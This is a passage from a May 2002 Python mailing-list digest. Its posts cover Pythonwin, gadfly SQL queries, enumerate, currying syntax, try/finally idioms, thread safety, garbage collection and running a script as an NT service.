the Pythonwin Interactive Window, which handles this automagically. # Now here is the code that does the real work. import win32con from pywin.framework import intpyapp, app, interact class pyApp(intpyapp.InteractivePythonApp): def InitInstance(self): # Call the base class (if you want) intpyapp.InteractivePythonApp.InitInstance(self) # Do something useful, specific to your app. # Here, we minimise the interactive window. # (after painting the main frame) win32ui.PumpWaitingMessages() interact.edit.currentView.GetParent().ShowWindow(win32con.SW_MINIMIZE) # def OnExitInstance(self): # return 0 app = pyApp() From aleax at aleax.it Mon May 13 18:08:29 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 22:08:29 GMT Subject: OO, complexity and toons... References: <409a56e2.0205131255.104a509f@posting.google.com> Message-ID: Shagshag wrote: [snip] Your problem looks like it's made to order for a relational database. Don't shoehorn into OO something that wants to be architected in a different paradigm! You can create a relational database describing your data (e.g. with the new rc1 of gadfly -- other RDBMS's are interfaced to Python quite similarly, but gadfly has the distinction of being written in Python itself): import os, shutil from gadfly import gadfly from gadfly.store import StorageError connection = gadfly() if os.path.exists('prova'): shutil.rmtree('prova') os.makedirs('prova') connection.startup('carpto', 'prova') cursor = connection.cursor() tables = ( "toon (name VARCHAR, kind VARCHAR)", "cartoon (title VARCHAR)", "features (title VARCHAR, name VARCHAR, kind VARCHAR)", ) indices = ( "key_toon ON toon(name, kind)", "key_cartoon ON cartoon(title)", "key_features ON features(title, name, kind)", ) for table in tables: cursor.execute("CREATE TABLE "+table) for index in indices: cursor.execute("CREATE UNIQUE INDEX "+index) cursor.execute("INSERT INTO toon(name, kind) VALUES(?, ?)", [ ('Daffy', 'duck'), ('Bugs', 'bunny'), ('Babs', 'bunny'), ('Mickey', 'mouse'), ('Minnie', 'mouse'), ('Bugs', 'bug'), ('Jerry', 'mouse'), ('Tom', 'cat'), ] ) cursor.execute("INSERT INTO cartoon(title) VALUES(?)", [ ('title1',), ('title2',), ('title3',), ('titlem',) ] ) cursor.execute("INSERT INTO features(title, name, kind) VALUES(?, ?, ?)", [ ('title1', 'Daffy', 'duck'), ('title1', 'Bugs', 'bunny'), ('title1', 'Babs', 'bunny'), ('title2', 'Mickey', 'mouse'), ('title2', 'Minnie', 'mouse'), ('title3', 'Bugs', 'bunny'), ('titlem', 'Jerry', 'mouse'), ('titlem', 'Tom', 'cat'), ] ) connection.commit() Actually, you probably need only the 'features' table here, though the others may be useful when you need to add toons not featuring in any cartoon, check relational integrity (not in gadfly, but in other RDBMSs), etc. You could add other indices (non-unique) on the features table -- this needs some benchmarking of typical queries vs data insertion, to check which indices actually help performance, depending on your RDBMS. Then you can query the database: import gadfly conn = gadfly.gadfly('carpto', 'prova') curs = conn.cursor() curs.execute(""" SELECT title FROM features WHERE name<>'Bugs' AND kind='bunny' """) print curs.pp() curs.execute("""SELECT DISTINCT title FROM features WHERE name='Bugs' AND kind='bunny' AND title IN ( SELECT title FROM features WHERE name<>'Bugs' AND kind='bunny' ) """) print curs.pp() ''' print curs.fetchall() ''' This is the hardest one of the queries you asked for -- and, as you see, a nested select makes short work of it. The others are easier. Alex From larooy at xtar.co.nz Fri May 31 05:59:14 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Fri, 31 May 2002 21:59:14 +1200 Subject: variable X procuct - [(x,y) for x in list1 for y in list2] References: <1022619068.34271@newsmaster-04.atnet.at> <1022686332.297659@newsmaster-04.atnet.at> Message-ID: <20020531215914.15202822.larooy@xtar.co.nz> Perhaps the translation is correct, but the example you give is a cartesian product, not a cross product. >From my algebra book... In many applications of vectors to problems in geometry, physics, and engineering it is of interest to construct a vecotr in 3-space that is perpendicular to two given vectors. In this section we introduce a type of vector multiplication the facilitates this construction DEFINITION: If u=(u1,u2,u3) and v=(v1,v2,v3) are vectors in 3-space, then the cross product is the vector defined by u x v = (u2v3 - u3v2 , u3v1 - u1v3 , u1v2 - u2v1) John From pyth at devel.trillke.net Tue May 7 15:37:30 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 7 May 2002 21:37:30 +0200 Subject: variable length print format In-Reply-To: References: Message-ID: <20020507193730.GO4604@devel.trillke> les ander wrote: > Hi, > i have a variable length list of numbers. > i would like to print them out with indicies in front as shown below: > > List=['a','b','c','d'] ---> 1:a 2:b 3:c 4:d > > one obvious solution is that i do > for i in range(List): > print "%s:%s" % (i+1,List[i]) you could use PEP279 from GvR: from __future__ import generators # requires 2.2 def enumerate(collection): 'Generates an indexed series: (0,coll[0]), (1,coll[1]) ...' i = 0 it = iter(collection) while 1: yield (i, it.next()) i += 1 for i,s in enumerate(['a','b','c']): print str(i)+':'+s enumerate will be an included battery in python2.3 and is quite fast and convenient. Of course you can also do weird stuff like e.g. l=['a','b','c','d'] print '\n'.join(map(lambda x: '%s:%s' % x, zip(range(len(l)),l))) to avoid any for-loops. But i'd prefer the enumerate construct for obvious reasons. regards, holger From jason at jvoegele.com Fri May 17 10:52:18 2002 From: jason at jvoegele.com (Jason Voegele) Date: 17 May 2002 07:52:18 -0700 Subject: Python or Ruby for a newbie - Winner is Python! References: Message-ID: <91acf731.0205170652.43923fcc@posting.google.com> Scrumpy wrote in message news:... > I'd posted two or three times to this Python newsgroup and always received > replies (a good sign of a supportive community) but my two recent posts to > the Ruby newsgroup garnered zero replies! > > Even though Ruby has been around for about seven years, it appears that the > Ruby community is focused on supporting existing programmers and not (at > all?!) on promoting Ruby as a first langauge. I subscribe to the ruby-talk mailing list that is mirrored with comp.lang.ruby, and I never saw your message. Also, a google search reveals no postings made by you to comp.lang.ruby. Either you sent your message somewhere else, or you never sent it at all. If that's the case, I question your integrity and wonder if this post is anything more than flame-bait. -- Jason Voegele "We believe that we invent symbols. The truth is that they invent us." -- Gene Wolfe, The Book of the New Sun From max at alcyone.com Tue May 14 05:20:10 2002 From: max at alcyone.com (Erik Max Francis) Date: Tue, 14 May 2002 02:20:10 -0700 Subject: 3rd party modules References: <3ce0d568$0$229$4d4ebb8e@read.news.nl.uu.net> Message-ID: <3CE0D6CA.480264A6@alcyone.com> Guyon Moree wrote: > now i'm just wondering if i am doing this the right way and what am i > supposed to do with this setup.py? It means that it's set up for distutils: python setup.py install -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From pearu at cens.ioc.ee Mon May 20 18:15:30 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Tue, 21 May 2002 01:15:30 +0300 (EEST) Subject: ANSI colored output: How to determine how python was called? In-Reply-To: Message-ID: On 20 May 2002, Fran?ois Pinard wrote: > [Donn Cave] > > > Quoth Pearu Peterson : > > > | Are there alternative (hopefully better) ways to decide whether the > > | output "device" of python stdout supports ANSI colored text or not? > > > It might be nice to pull something else out of the environment too, for > > the sake of people who are missing the boat on TERM - maybe LS_COLORS, > > which is already used by GNU ls, or something specific to your application. > > The normal way to check for colour terminal support is through terminal > info capabilities (terminfo). Check for `op', 'AF', `AB', `Sf', `Sb', > 'Co', `pa' and `NC' capabilities, in particular. I forgot details as of > now, but remember I had to fight a bit to get everything right. Thanks for the hint. I now discovered the Python curses module. It seems that sys.stdout.isatty() and curses.wrapper(lambda s:curses.has_colors()) gives a reliable answer for if the terminal supports colors or not. However, when using it, the screen "blinks" (the terminal is blanked and then its contents is restored) as curses.wrapper(..) initializes and deinitializes the ncurses library. I have not found yet if this "blink" could be avoided. Pearu From mcfletch at rogers.com Thu May 23 01:42:25 2002 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Thu, 23 May 2002 01:42:25 -0400 Subject: 2**HUGENUMBER Why not optimise it? References: Message-ID: <3CEC8141.40304@rogers.com> Oh. Sigh. Maybe I'll just give up on trying to interest people in Python optimisation challenges. The good-old days of idle speculation and optimisation are dead. Time to stop living in the past. Idea dropped, back to boring GUI work. *poof* Tim Peters wrote: > [Mike C. Fletcher] ... > Why bother? i**j is performed by a general algorithm that does a number of > long-int multiplications, but no more than 2*ceiling(log_base_2(j)) of them. > i==1 is not a special case; it zooms simply because all of the O(log(j)) > intermediate products are exactly 1, so go very quickly. ... > No, there's simply no point to burning code space to special-case power-of-2 > bases; if you know your base is a power of 2, feel free to shift yourself -- > I do . ... From aleax at aleax.it Mon May 13 14:51:44 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 20:51:44 +0200 Subject: currying at language level (was: Re: add_command) In-Reply-To: <20020513193132.D28033@prim.han.de> References: <20020513193132.D28033@prim.han.de> Message-ID: <02051320514400.11877@arthur> On Monday 13 May 2002 19:31, holger krekel wrote: > Alex Martelli wrote: > > I'd love to have built-in currying, but the syntax > > sugar you propose is clearly too limited (e.g., how > > does it apply to keyword-arguments?) > > does it need to? IOW what problems do you expect? I expect a language that doesn't treat named arguments as 'first class' (==just as important as positional ones) in SOME but not ALL cases. Isn't that absolutely obvious?! The 'orthogonality' of Python is #1 key to its power AND simplicity. You need mighty powerful arguments indeed for BREAKING orthogonal, uniform behavior, as should be self-evident. So, what are your mighty powerful arguments for proposing to mandate such a breach? IF you can come up with them, I may give counter-arguments and counter-examples. But the meta-argument is more important: you don't break regularity without a darned good reason or three in support; you don't even THINK of doing so. > i think the usual TypeErrors when e.g. supplying multiple > values for an argument are straight forward to come up > with. No doubt. So? > yes. Only it is not so easy to get even a > builtin to provide 'enough' convenience. Consider one of You may be overrating convenience wrt regularity and simplicity. > my currying implementations which does it like so: > > f1=PrebindFunc(f, BINDLATER, 2, BINDLATER, karg1="hehe") > > But how can you get around the special name 'BINDLATER'? > Take 'XXX'? Somehow it doesn't seem right to me to > try to makeup a name. Not unless there is a standardization > on ONE name which is hard to achieve. Why would a special character * 'seem right' if a well chosen argument name doesn't? How is * allegedly clearer? > > > IMHO currying is a well-understood concept > > > > It sure is _in a specific way_, the one analyzed and > > widely used by Dr Haskell Curry: applying a function > > f (which you could consider an "N-argument function" > > in traditional terms) to an argument a to yield a new > > anonymous function which you could consider an "N-1 > > argument function" in traditional terms. > > I don't know haskell, sorry, but just currying the > leftmost arguments is quite restrictive and doesn't > fit to python's functio model IMO. Dr Haskell Curry is the mathematician in whose honor both the Haskell language and the currying technique are named. There is no practical difference between: f x = g x y and h x = g y x although in the latter case you can abbreviate as h = g y there's nothing "quite restrictive" about not having some ad hoc abbreviation in the former case -- it's easy enough to add a where clause anyway, should you need one. Currying only positional arguments doesn't fit Python -- keyword ones need fully equal status. What exactly do we need to express, and how? What about the equivalent of, say: lambda n1, n2: f(n2, n1) don't we need THAT, too? If arbitrary sets of arguments can be pre-set, why is it satisfactory that the *ordering* (since args are sequences, not really sets) must be identical between original and any curried forms? I *don't* think these are "well understood concepts" (while currying as invented by Dr Curry surely IS -- but, you consider it "quite restrictive"). We need a consensus on the exact functionality package to be supplied. You seem to take it for granted that "currying is a well understood concept" means your exact take on it is universal and widely accepted -- no named args need apply, ordering cannot be altered, but any subset of args can be pre-bound (...can I supply defaults for some, while still leaving them overridable at calltime? Why not?). I claim it most surely isn't -- the simple ("quite restrictive" according to you) version invented by Dr Curry _IS_, anything beyond that isn't -- we don't have consensus on exactly what functionality this "extended currying" should supply. > > But this doesn't mean we know exactly what should be > > done in presence of named/optional arguments and other > > cases of variadic functions. "Currying the 1st and > > 3rd args of a 3-argument functions" is also a somewhat > > unexplored realm AFAIK. > > If people knew how to do it and if it were easy to type > they'd like it, i guess. Wouldn't you? Maybe, maybe not. Instinctively, I'm horrified at the very idea of requiring entirely new syntax (neutron bombs, not just big guns) and STILL not getting anywhere near the complete functionality that's obviously a possible request. > It may be *a bit* like with 'yield'. Once you get it you > don't want to live without it. But you didn't know before. > Or maybe _you_ did :-) No, but neither did I have any pre-judgments about it (nor did I ever claim "yielding is a widely understood concept" as a way to cover up the novelty of the exact functionality being introduced:-). It may be possible to offer all functionality in a way that turns out to be regular and simple enough, e.g. curry(f, Arg(1), Arg(0)) to swap the first two positional arguments, curry(f, 2, Arg()) to insert a 2 as 1st arg and shift all other args right by one, curry(f, 2, Arg(1:)) to insert a 2 instead of the 1st actual arg (ignoring it) and leave all others alone, etc, etc. That magical Arg thing could even be used plain rather than called to indicate "Arg(i) where i is the progressive number of this argument to curry after the callable", used as in "Arg(2, 'name')" to indicate that this may be passed as named argument ' name' alternatively, etc. Maybe, and maybe not. We're talking of "signature adaptation". How far do we need to go? How easy will it be to explain, how easy to use, how complete in its coverage of so-called-currying needs? I don't think we have anywhere like complete understanding of this complicated set of issues. Alex From m_mariappanX at trillium.com Mon May 13 02:36:36 2002 From: m_mariappanX at trillium.com (Mariappan, MaharajanX) Date: Sun, 12 May 2002 23:36:36 -0700 Subject: creating rpm package from python build dir tree Message-ID: <53A7943A5BD8D411B6930002A5073155022D7563@bgsmsx90.iind.intel.com> Hi All, I'm trying to build rpm package from python build directory tree? Is anybody already tried the same and have the spec file for it? Thx for any releavent pointers, Maharajan From cbbrowne at acm.org Thu May 2 23:09:03 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Thu, 02 May 2002 23:09:03 -0400 Subject: Python vs. Perl, which is better to learn? References: <82znzjsw6k.fsf@acropolis.localdomain> <6bdA8.54737$Au5.4014@atlpnn01.usenetserver.com> Message-ID: Centuries ago, Nostradamus foresaw when peter at abbnm.com (Peter da Silva) would write: > In article , > Christopher Browne wrote: >> It's probably fair to call C++ the PL/1 of the 1990s; > > That is HORRIBLY unfair to PL/I. Why not? -> Both are complex languages; -> Both had periods of considerable popularity; -> Both were billed as the preferred replacements for practically all of their predecessors. PL/1 was certainly pegged as the successor to both COBOL and FORTRAN; in practice, it really only succeeded COBOL, and that only in part. C++ has had similar "billings" with not dissimilar success. None of that points to any of the _technical_ qualities of the languages, but I wasn't pointing at all at technicalities in this context... -- (concatenate 'string "cbbrowne" "@cbbrowne.com") http://www.cbbrowne.com/info/languages.html "Laugh-a while you can, Monkey Boy." -- Dr. Lizardo - Buckaroo Banzai From pinard at iro.umontreal.ca Sat May 4 11:23:01 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 04 May 2002 11:23:01 -0400 Subject: Slight irritation with try/finally indentation In-Reply-To: <87bsc7b233.fsf@tleepslib.sk.tsukuba.ac.jp> References: <87bsc7b233.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: [Stephen J. Turnbull] > >>>>> "Fran?ois" == Fran?ois Pinard writes: > Fran?ois> What I find irritating is that `cleanup()' is not > Fran?ois> aligned anymore with `setup()', as it was originally, so > Fran?ois> we loose on the legibility of the parenthetical idiom we > Fran?ois> wanted to stress. Surely, I may _not_ write: > [...] > try: > setup() > process() > finally: > cleanup() > [...] > Fran?ois> despite it would look nicer, because if `setup()' fails, > Fran?ois> `cleanup()' gets called when it should not have been. > Of course you may not write that. You must write > try: > setup() > process() > except SetupError: > pass > else: > cleanup() Clever, and nice. Thanks for this idea, I'll ponder it. > Alternatively, to be truly perverse: [...] It seems you are teaching us that there is beauty in some perversions! :-) It might become a bit dangerous to over-push on that thesis, however... Keep happy, all! -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From nas at python.ca Sat May 18 17:38:38 2002 From: nas at python.ca (Neil Schemenauer) Date: Sat, 18 May 2002 14:38:38 -0700 Subject: Exponential time increase in garbage collection In-Reply-To: <5.1.0.14.0.20020518175555.036e7eb0@mail.digitome.com>; from sean.mcgrath@propylon.com on Sat, May 18, 2002 at 06:08:43PM +0100 References: <20020518160006.23202.88409.Mailman@mail.python.org> <5.1.0.14.0.20020518175555.036e7eb0@mail.digitome.com> Message-ID: <20020518143837.A31031@glacier.arctrix.com> Why you think the time is spent in GC? It sounds like the malloc implementation is trying to defragment memory on free(). The current GC has quadratic cost while allocating objects but it does not for deallocating objects. Can you try adding "gc.disable()" to the beginning of your program and see if the problem goes away? Neil From phr-n2002a at nightsong.com Thu May 2 20:34:57 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 02 May 2002 17:34:57 -0700 Subject: print , (was Re: Python vs. Perl, which is better to learn?) References: <9IcA8.90097$vF6.2684221@news2.tin.it> Message-ID: <7xn0viyspa.fsf@ruckus.brouhaha.com> aahz at pythoncraft.com (Aahz) writes: > Let this be a lesson to you newbies. ;-) (But I have no clue what > lesson it should be...) It means print is even more complicated than I thought. I'm sorry but I still consider the extra spaces from the print statement to be a Python wart. Perl prints exactly what you tell it to, and I believe that's the correct behavior. "Explicit is better than implicit". From henk.derudder at barconet.com Tue May 14 05:36:15 2002 From: henk.derudder at barconet.com (henk.derudder at barconet.com) Date: Tue, 14 May 2002 09:36:15 GMT Subject: import question Message-ID: <3ce0d9f8.606424437@news.skynet.be> Hi all, Is there a way to import all possible Python-modules in a module with a single call (or some other small elegant solution)? Regards, Henk From rob at zoism.org Mon May 6 17:49:45 2002 From: rob at zoism.org (Rob Brown-Bayliss) Date: 07 May 2002 09:49:45 +1200 Subject: streaming audio In-Reply-To: References: Message-ID: <1020721785.25762.13.camel@orion.zoism.org> On Tue, 2002-05-07 at 10:29, brueckd at tbye.com wrote: > That might come close, but instead of syncing the play of the songs, you'd > be syncing the request-buffer-and-then-play of the songs, so you still > might end up with clients off by a second. I was think more along the lines of the clients tell the server they have a sufficient buffer of the song then the when all clients are ready the server tells them all to play. Sort of like "We all have a 3 second lead, lets go" approach. > > If you have/write a client plugin to your music player to receive > multicast I breifly looked at multicast, but there appear to be several "standards" rather than a standard :o) > All this is great stuff if you're looking for an interesting project > that'll end up being useful, but if you're mostly interested in getting it > done then I'd imagine that there are some pre-built, non-Python, open > source solutions out there that'd be easier I had a breif look on freshmeat and a google serach, but all I could find were mp3 servers and expensive hardware. -- R Brown-Bayliss ---====<=>=====--- http://zoism.org From phd at phd.pp.ru Mon May 13 08:45:12 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Mon, 13 May 2002 16:45:12 +0400 Subject: Getting File Permissions In-Reply-To: ; from gtaylor@lowebroadway.com on Mon, May 13, 2002 at 05:36:28AM -0700 References: Message-ID: <20020513164512.B25430@phd.pp.ru> On Mon, May 13, 2002 at 05:36:28AM -0700, Garry Taylor wrote: > Traceback (most recent call last): > File "filepermissions.py", line 5, in ? > mode = st[stat.ST_MODE] > NameError: name 'stat' is not defined Name 'stat' is not defined. What have you missed here? ;) Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From siegfried.gonzi at kfunigraz.ac.at Wed May 15 06:37:33 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Wed, 15 May 2002 12:37:33 +0200 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> <3CE16A13.309D0D14@kfunigraz.ac.at> <3CE21E01.F3CD9FD2@kfunigraz.ac.at> Message-ID: <3CE23A6D.55870895@kfunigraz.ac.at> Siegfried Gonzi wrote: > Any suggestions? Sorry, for all the confusion. After 2 hours (with the help of a recognized Linux expert it was possible to install the Numeric module, finally). S. Gonzi From yduppen at chello.nl Tue May 14 14:58:53 2002 From: yduppen at chello.nl (Yigal Duppen) Date: Tue, 14 May 2002 20:58:53 +0200 Subject: import question References: <3ce0d9f8.606424437@news.skynet.be> Message-ID: <3ce1613e$0$3863$e4fe514c@dreader4.news.xs4all.nl> > Hi all, > > Is there a way to import all possible Python-modules in a module with > a single call (or some other small elegant solution)? Warning: horrible code ahead! Warning2: this code is not meant for serious use; the other posters have given far better alternatives. Yes, it is possible to import all possible python-modules using a mere two lines. This is what I made of it: import sys, re, os, os.path, operator for m in map(lambda name: os.path.splitext(name)[0], filter(lambda name: re.match(r"^.*?\.py.?$", name), reduce(operator.add, map(os.listdir, filter(None, sys.path))))): globals()[m] = __import__(m) Disected, it does the following: 1) get all directories in sys.path filter(None, sys.path) 2) get all the entries in those directories map(os.listdir, ...) this results in a list of lists of files 3) turn this into one huge list: reduce(operator.add, ...) 4) keep only the python files (those ending with .py, .pyc or .pyo) this is done by matching against the regular expression r"^.*?\.py.?$" filter(lambda name: re.match(r"^.*?\.py.?$", name), ...) 5) remove the extensions filter(lambda name: os.path.splitext(name)[0], ...) You now have a list of the names of all modules you can normally load. These can be imported by using for m in ...: globals()[m] = __import__(m) YDD -- .sigmentation fault From emile at fenx.com Sat May 18 09:06:20 2002 From: emile at fenx.com (Emile van Sebille) Date: Sat, 18 May 2002 13:06:20 GMT Subject: Threads References: Message-ID: "Robert Cunningham" wrote in message news:zgsF8.571$xY.84445 at newsfep1-win.server.ntli.net... > Hopefully someone can clarify this for me, I have n threads running and a global > var c now sometimes these threads may update c (c += 1 or c -= 1). My question > is do I need to use a lock or something, at the moment I don't, I assumed += is > 'atomic' - am I right?? > Doesn't look like it: >>> import dis >>> def test(): c+=1 ... >>> dis.dis(test) 0 SET_LINENO 1 3 SET_LINENO 1 6 LOAD_FAST 0 (c) 9 LOAD_CONST 1 (1) 12 INPLACE_ADD 13 STORE_FAST 0 (c) 16 LOAD_CONST 0 (None) 19 RETURN_VALUE -- Emile van Sebille emile at fenx.com --------- From shalehperry at attbi.com Thu May 16 11:06:52 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Thu, 16 May 2002 08:06:52 -0700 (PDT) Subject: how to determine an 'open' string? In-Reply-To: <20020516164007.A28033@prim.han.de> Message-ID: On 16-May-2002 holger krekel wrote: > hello, > > with my replacement rlcompleter module i'd like to > have a *correct* check if a string is 'open'. > examples: > > asd"""askdjalsdk # open > aksdjasd # closed > asjdkk"kajsd'''' # open > "'asdasd" # closed > """dontcountoneven" # open > > so i need a function which takes these strings as > an argument and return 1 for 'open', 0 for a 'closed' string. > Seems a really simple solution is count the number of each type of quote in the string. But first you need to find all of the triple quotes. for each quote type: count = find all triple quotes if count is even: closed count = find all normal quotes if count is even: closed if not closed: open From duncan at NOSPAMrcp.co.uk Tue May 21 04:35:20 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Tue, 21 May 2002 08:35:20 +0000 (UTC) Subject: Newbie: Switch Case References: Message-ID: Marcus Laranjeira wrote in news:mailman.1021913015.15513.python-list at python.org: > Is there any switch case control structure in python ? what is the > syntax ? > First off, please turn off the HTML formatting in your email program. No, there is no switch/case control structure in Python. If you tell us why you think you need one, I am sure that many of the people here will gladly suggest alternatives. To get you started: If all else fails, use if/elif/else. If you want to convert an internal numeric value into a string (e.g. to print it out), then you might use a list or a dictionary to hold the conversions, or you might just use the string value as a token instead of mapping it to a number in the first place. You can also use lists or dictionaries to hold functions, so instead of comparing against a lot of possible values you just do a dictionary lookup and call the result. Some people create objects with a 'type' field and use switch statements to decide what action to perform on an object. A better way to approach this is to make each type of object a different class and then just call an overridden function for each action. There are also techniques such as the visitor pattern which take this idea further. -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From BPettersen at NAREX.com Wed May 15 16:05:05 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Wed, 15 May 2002 14:05:05 -0600 Subject: Merging contents of two files Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019221517D@admin56.narex.com> > From: Katharina.Pergens at dlr.de [mailto:Katharina.Pergens at dlr.de] > > Sorry sending a html file. Once again. > So what I have is a text file (.txt) like the following: > > Abbreviation Explanation File Line > ------------ ----------- ---- ---- > xyz comment for class /home/de/abc.java 13 > ... ... ... ... > > The txt file contains of several lines and rows. The rows are > seperated by tabs. The source file (mentioned as row 'File' > in txt file) are java files. I search for > firstname.secondname in the header: > * Created: dd/mm/yyyy firstname.secondname > > How to write the script. Thanks for your help!! Are you asking for help in reading the text file or finding the specific line in the java file? To get the filenames you can do something like: def getFilenames(txtfile): res = [] for line in file(txtfile): res.append( line.split('\t')[2] ) return res (you'll probably have to add some error checking ). For finding the specific line in the .java file, something like the following should work: for fileName in getFilenames(txtfile): fp = file(filename) while 1: line = fp.readline() if not line: break if line.find('firstname.secondname') != -1: # you found the line... break # unless you want to find multiple occurences hth, -- bjorn From timr at probo.com Thu May 30 00:30:52 2002 From: timr at probo.com (Tim Roberts) Date: Wed, 29 May 2002 21:30:52 -0700 Subject: Programming Python 2E: question on smtplib example References: <6qu6fukqn6b08cp1ejclm9hu43q8b5a067@4ax.com> Message-ID: Daniel Klein wrote: >On page 612 of PP2E, the example has the following line of code... > >To = string.split(To, ';') # allow a list of recipients > >,,,and then a few lines down... > >text = ('From: %s\nTo: %s\nDate: %s\nSubject: %s\n' > % (From, string.join(To, ';'), date, Subj)) > >The question is: Why even do the split() and join() since all this seems to >do is take the 'To' variable on a round trip? My guess is that "To" is later passed as a parameter to smtplib.sendmail. In that case, it needs to be a list of strings, not a single string. I have found that the best way to exploit Python is to think of my data in terms of lists and tuples. Split and join are quick primitives. In this example, their use will let you add features later that would be difficult with a single string. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From fperez528 at yahoo.com Wed May 8 13:56:36 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Wed, 08 May 2002 11:56:36 -0600 Subject: isinstance() not recognizing an instance correctly (python bug?) References: Message-ID: Martin v. L?wis wrote: > Fernando Perez writes: > >> So both the user-defined one and the internal one have been imported >> via the same statement. Note however that as I said, the interactive >> user code is run in a closed namespace, which is what (I think) >> causes the behavior. I could well be confused though. > > I guess you need to explain in more detail what a "closed namespace" > is. Does it share sys.modules with the rest of the interpreter? > > If not, that would indeed explain the problem. > > You should compute and print the id of class Struct at both places, > and see whether they are identical. If not, it is not surprising that > the isinstance check fails - you would have two different classes that > just happen to have the same name. Here's the output. Indeed they have a different id for the Struct class, but the funny thing is that sys.modules shows the same id both for the interactive and internal sides. [python]> ip Python 2.2 (#1, Feb 24 2002, 16:21:58) Type "copyright", "credits" or "license" for more information. IPython 0.2.12pre13 -- An enhanced Interactive Python. ? -> Introduction to IPython's features. @magic -> Information about IPython's 'magic' @ functions. help -> Python's own help system. object? -> Details about 'object'. ?object also works, ?? prints more. In [1]: from Struct import Struct In [2]: s=Struct(a=1) In [3]: print id(Struct) 136214948 In [4]: print id(sys.modules ) 134532788 In [5]: s Out[5]: Argument passed belongs to class: Struct.Struct Is arg a Struct (via isinstance)? 0 id of Struct class: 135905636 id of sys.modules : 134532788 Struct({'a': 1}) By 'in a closed namespace' I mean that all user input is executed via the following code (my shell is a subclass of the code.py stuff, the code below is copied from code.py): def runcode(self, code): """Execute a code object. When an exception occurs, self.showtraceback() is called to display a traceback. All exceptions are caught except SystemExit, which is reraised. A note about KeyboardInterrupt: this exception may occur elsewhere in this code, and may not always be caught. The caller should be prepared to deal with it. """ try: exec code in self.locals except SystemExit: raise except: self.showtraceback() else: if softspace(sys.stdout, 0): print The locals dict referenced by this is given in the the following constructor in my class: code.InteractiveConsole.__init__(self,locals = user_ns) where user_ns is initially an almost empty dict. So all user code is executed in user_ns, not in __main__. But looking at code.py, a similar thing is done if you don't specify locals (a new dict is created for user execution), so I guess this problem will happen to anyone subclassing InteractiveConsole. If you really need, I can try to write a new simple subclass of InteractiveConsole showing the problem, which I'm getting more and more convinced should at least be documented as a failure mode of isinstance(). Thanks for the help, f. From phr-n2002a at nightsong.com Sat May 18 02:02:58 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 17 May 2002 23:02:58 -0700 Subject: Unpacking a hex value References: <3CE5A7A7.2060204@hotmail.com> Message-ID: <7xptzuc7sd.fsf@ruckus.brouhaha.com> Matthew Diephouse writes: > I have the following perl code, which I'm trying to translate to python: > > my $out = hex( shift(@_) ); > $out = pack("N", $out); Maybe I don't understand this, but if you're trying to convert a hex string to a binary string, use: import binascii out = binascii.unhexlify(hex_string) From buzzard at urubu.freeserve.co.uk Tue May 7 18:05:14 2002 From: buzzard at urubu.freeserve.co.uk (Duncan Smith) Date: Tue, 7 May 2002 23:05:14 +0100 Subject: Was: "Inserting" a line in a text file? Message-ID: Thanks All, It just occured to me that I need to ensure that any temporary file has a unique path + filename. Is there some common idiom for this, or is os.tempnam([dir[,prefix]]) or os.tmpnam() appropriate? Cheers. Duncan From donn at u.washington.edu Wed May 29 19:48:24 2002 From: donn at u.washington.edu (Donn Cave) Date: 29 May 2002 23:48:24 GMT Subject: Why no open(f, "w").write()? References: Message-ID: Quoth Gary Herron : ... | Thus the "bad" part of this programming practice is that the timing of | the implied close is dependent Python implementation issues (i.e., | the timing of the garbage collection), and such dependencies are never | a good thing to rely on. The confusing thing about this practice is that it's both good and bad. I wouldn't say open(n, m).write(v) is worth defending per se, but the notion that the system can tell an object when its lifetime is over is very valuable in general, in an object oriented programming model. In more complicated usage, where the file object (or window, or whatever) persists for some time and may have several references in use, I'm with M Pinard, it would seem like a potentially good programming practice. It's too bad things like good programming practice have to be subject to the limitations of other programming languages. Donn Cave, donn at u.washington.edu From dsavitsk at e-coli.net Fri May 10 01:07:43 2002 From: dsavitsk at e-coli.net (dsavitsk) Date: Fri, 10 May 2002 05:07:43 GMT Subject: Python Service References: Message-ID: i have a project that is a python service that interacts with other modules, so it might be helpful. it will be at http://ecpspooler.sourceforge.net one of these days ... the start of the documentation is there now. if you are interested, i'll send you the code. -d "Q" wrote in message news:QIfC8.129$lc.32 at nwrddc03.gnilink.net... > I want to convert a Python Script to run as an NT Service. The script uses > an infinite while loop to poll the incoming directory for files. It them > moves them to the outbound directory and encrypts them using PGP. > > I followed > > http://support.microsoft.com/default.aspx?scid=kb;EN-US;q137890 > > This utilitiy starts the service and it moves the files to the outbound > directory. However it fails to encrypt or decrypt. I know the 